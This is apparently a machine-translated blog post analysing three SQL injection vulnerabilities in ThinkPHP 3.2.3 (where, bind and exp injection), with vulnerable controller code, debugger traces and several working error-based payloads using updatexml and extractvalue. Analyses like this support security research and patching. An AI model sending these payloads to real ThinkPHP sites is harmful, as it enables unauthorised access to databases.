tp3. 2.3 SQL injection vulnerability analysis

thinkphp3.2.3 sql injection vulnerability analysis


First go to ThinkPHP's official website to download thinkphp_v3.2.3 full version source code( https://www.thinkphp.cn/Down ), and then unzip it to the root directory of phpstudy website.

thinkphp3.2.3 where injection

environment

Configuration database

ThinkPHP/Conf/convention.php, create the users table and add experimental data.

/* Database settings */
'DB_TYPE'                => 'mysql', // Database type
'DB_HOST'                => 'localhost', // server address
'DB_NAME'                => 'thinkphp', // Database name
'DB_USER'                => 'root', // user name
'DB_PWD'                 => 'root', // password
'DB_PORT'                => '3306', // port

Configuration controller

Application/Home/Controller/IndexController.class.php

public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}

payload:

http://127.0.0.1/tp3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(database()),0x7e),1)%23

process analysis

Set a breakpoint in the controller, and then simply pass in a parameter id=2 ', and then trace the specific call process:

F7 enter, enter M method

PHP / common, nothing special I() method of PHP file. I() method gets the parameters we passed in$_ GET[‘id’]

Go through the tracking process to ThinkPHP / common / functions In line 343 of the PHP file, the C method assignment and htmlspecialchars appear. Later, you will understand that it becomes a default htmlspecialchars() method. The parameters received by the I() method will be processed by it to convert predefined characters into entities to prevent xss injection

(htmlspecialchars() function has the following functions:

The htmlspecialchars() function converts predefined characters into HTML entities.

The predefined characters are:

  • &(and) become&
  • "(double quotation mark) becomes"
  • ’(single quotation mark) becomes' '
  • < (less than) becomes<
  • >(greater than) becomes >

Its syntax is as follows:
htmlspecialchars(string,flags,character-set,double_encode)

The second parameter, flags, needs important attention. Many developers use the htmlspecialchars() function to filter because they don't pay attention to this parameter XSS It was bypassed when. Because the flags parameter encodes quotation marks as follows:
Available quote types:

ENT_COMPAT - default. Encode only double quotes.
ENT_QUOTES - encodes double and single quotes.
ENT_NOQUOTES - do not encode any quotes.
The default is to encode only double quotation marks! Only double quotation marks are encoded by default! By default, only double quotation marks are encoded... Say important things three times!!!)

Then it will be in ThinkPHP / common / functions PHP: 402 line callback think_filter function. Check the function functions:

function think_filter(&$value)
{
    // TODO other security filtering

    // Filter query special characters
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

After some filtering, the dangerous characters are replaced with empty ones. Continue to follow up and enter ThinkPHP / library / think / model class. PHP: 720's find() method, which in turn calls ThinkPHP / library / think / model class. php:811 _ parseOptions() method, read the relevant code and find_ The parseOptions method has a field verification function. When the $options['where '] variable is an array, the field type verification is performed. This is where the vulnerability occurs. Take a look at the conditions for entering the verification:

// Field type validation
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // Check the field type of array query criteria
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }

Here's the problem. Meet the conditions

if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

If the passed in variable is a parameter such as id['where '], not an array? Is it possible to skip the verification and bring it into the query to achieve the idea of hiding?

Let's take a look at the case when the $options['where '] variable is an array by passing in the parameter. Pass the parameter * *? id=2 '* *, after a series of previous processing, here, the $options['where'] variable is as follows:

You can see that it is an array, and ThinkPHP / library / think / model will be called class. PHP 680 line_ parseType method

    protected function _parseType(&$data,$key) {
        if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
            $fieldType = strtolower($this->fields['_type'][$key]);
            if(false !== strpos($fieldType,'enum')){
                // Support ENUM type priority detection
            }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);
            }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
                $data[$key]   =  floatval($data[$key]);
            }elseif(false !== strpos($fieldType,'bool')){
                $data[$key]   =  (bool)$data[$key];
            }
        }
    }

Pass by_ After the parseType method, the id parameter value will be forcibly converted to an integer value by the intval function. At this time, the id parameter value becomes 2, so it cannot be injected.

Let's take another look at the case when the $options['where '] variable is not an array due to the passed parameter. Pass the parameter * *? id[where]=2 * *. After a series of previous processing, the $options['where '] variable here is as follows:

You can see that the variable $options ['where'] is not an array. Continue to follow up. The subsequent process does not interfere with the query statement. Therefore, you can see that the final sql statement is:

"SELECT * FROM `users` WHERE 2 LIMIT 1  "

After understanding the principle, let's pass in the payload to check the key positions:

?id[where]=1 and 1=updatexml(1,concat(0x7e,(database()),0x7e),1)%23

Follow up all the way to the end, and you can see that the final query statement is:

Achieve the purpose of injection. After understanding the principle, it is also possible to construct other payload s, such as:

?id[where]=1 and 1=extractvalue(1,concat(0x7e,(select user()),0x7e))%23

ThinkPHP3.2.3_bind injection

1. Environment

//Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $User = M('users');
        $user['id'] = I('id');
        $data['password'] = I('password');
        $value = $User->where($user)->save($data);
        var_dump($value);
    }
}

2. payload

/?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,user(),0x7e),1))&password=k

3. Process analysis

We analyze it directly from the perspective of payload, and click the next breakpoint in the last sql statement execution

Following up, we can see that the passed in parameters are assigned to $this->options['where'] like the previous chains,

Then go to ThinkPHP / library / think / model class. PHP's save method, which is called in line 461_ parseOptions method. Follow up and find that_ There is no validation method entered in the field of type options_ The parseType method validates the type.

Continue to follow up from_ After the parseOptions method comes out, call thinkphp/library/think/db/driver class. The $this - > DB - > update method of PHP file performs a short SQL splicing in line 896


Then call the parseWhereItem method to splice another segment of SQL. Follow up. In the parseWhereItem method, give e x p Fu value b i n d , of after enter enter sentence break , this in When exp assigns bind, and then enters judgment. Here, when Exp assigns bind, and then enters the judgment. Here, when exp is bind, * * $val[1] is spliced into the sql statement 😗* (if you look carefully, you can notice that exp can also be spliced. This is another use, which we will mention later)

After it comes out, splice the two SQL statements again. The spliced SQL statement exists at this time: 0

Then use the strstr() method to replace * *: 0 with the externally passed in value. In this payload is k**

Finally, the executed query statement becomes the following situation, resulting in error injection.

"UPDATE `users` SET `password`='k' WHERE `id` = 'k' and (updatexml(1,concat(0x7e,user(),0x7e),1))"

thinkphp 3.2.3 exp injection

1. Environment

Write to the same controller location:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $id = $_GET['id'];
        //$id = I('id');// Use the I() method to obtain parameters to avoid this injection. The reason will be explained later
        $data = M('users')->where(array('id'=>$id))->find();
        var_dump($data);
    }
}

2.payload:

/?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,database(),0x7e),1)

3. Process analysis

Set a breakpoint and follow up until ThinkPHP / library / think / db / driver class. PHP's select () method,


Continue to ThinkPHP / library / think / db / driver class. In the buildSelectSql() method of PHP

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // Calculate the limit based on the number of pages
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

Continue to ThinkPHP / library / think / db / driver class. parseSql() method of PHP

This method calls a series of custom methods to fill in the predefined sql statements to build the final sql query statements. The predefined statements are:

"SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%"

Follow up here in turn, focusing on the parseWhere() method. Take a look at:


Call the parseWhereItem() method to follow up

protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
				$exp	=	strtolower($val[0]);
                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // Comparison operation
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }elseif(preg_match('/^(notlike|like)$/',$exp)){// fuzzy search
                    if(is_array($val[1])) {
                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                        if(in_array($likeLogic,array('AND','OR','XOR'))){
                            $like       =   array();
                            foreach ($val[1] as $item){
                                $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                            }
                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                        }
                    }else{
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                    }
                }elseif('bind' == $exp ){ // Use expressions
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // Use expressions
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN operation
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
                        $zone      =   implode(',',$this->parseValue($val[1]));
                        $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                    }
                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN operation
                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                    $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
                }else{
                    E(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                $count = count($val);
                $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
                if(in_array($rule,array('AND','OR','XOR'))) {
                    $count  = $count -1;
                }else{
                    $rule   = 'AND';
                }
                for($i=0;$i<$count;$i++) {
                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                    if('exp'==strtolower($val[$i][0])) {
                        $whereStr .= $key.' '.$data.' '.$rule.' ';
                    }else{
                        $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                    }
                }
                $whereStr = '( '.substr($whereStr,0,-4).' )';
            }
        }else {
            //Fuzzy matching for string type fields
            $likeFields   =   $this->config['db_like_fields'];
            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
    }

Focus on

protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
				$exp	=	strtolower($val[0]);
                . . . 
                . . . 
                . . . 
elseif('bind' == $exp ){ // Use expressions
                    $whereStr .= $key.' = :'.$val[1];
                }
elseif('exp' == $exp ){ // Use expressions
                    $whereStr .= $key.' '.$val[1];

If $val is an array and the value with index 0 is the string 'exp', enter the method. Then, the where condition is directly spliced with points in the exp statement, resulting in SQL injection.

Supplement:

1. Why can I() method prevent sql injection?

Pass in the parameters and follow up to know that the I method will call back in thinkphpcomonmonfunctions Think in pH_ Filter function, which

function think_filter(&$value)
{
    // TODO other security filtering

    // Filter query special characters
    if (preg_match('/^(NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

Special keywords such as (exp|neq|gt|egt|lt|elt|or|xor|like|notlike|notbetween|notbetween|between|not in|in) will be added with spaces to make * * $exp='exp space '* *. Therefore, if the above conditions are not met, the splicing sql statement cannot be completed and naturally cannot be injected.

2. Design defects of parsewhereitem method

Set a breakpoint for debugging. When you call the find() query method, you will call the parseWhereItem method. This method determines whether the value of the passed in array parameter id[0] is exp. if so, the parameter name ID and parameter value * * id[1] of the parameter will be spliced and returned as the sql statement to be executed. Here is why you can't receive the parameter with the I() * * method. If you receive the parameter with the I() method, you can't make the value of id[0] exp


As long as id[0]=exp is constructed, the value after id = in the SQL statement can be any value. Of course, it has experienced the materialization of htmlspecialchars function, but this function does not materialize single quotation marks by default

3. Why is the where method in the vulnerability code in the form of array

When the parameters of the where method are received in the form of non array, the where variable in the where method is a string, which is processed by the if statement and becomes an array. Only one value of this array is id

After the where method is called, the $this->where variable is used when the find method is called. This variable is passed through the where variable in the where method, that is, the id array parameter value we passed is not used by the find method. At this time, we do not enter the conditional judgment branch where the parseWhereItem method exists, but enter the previous judgment branch, so the parseWhereItem method is not called, There is no SQL statement splicing.

Tags: PHP Database Web Security

Posted by madcrazy1 on Wed, 18 May 2022 22:50:05 +0300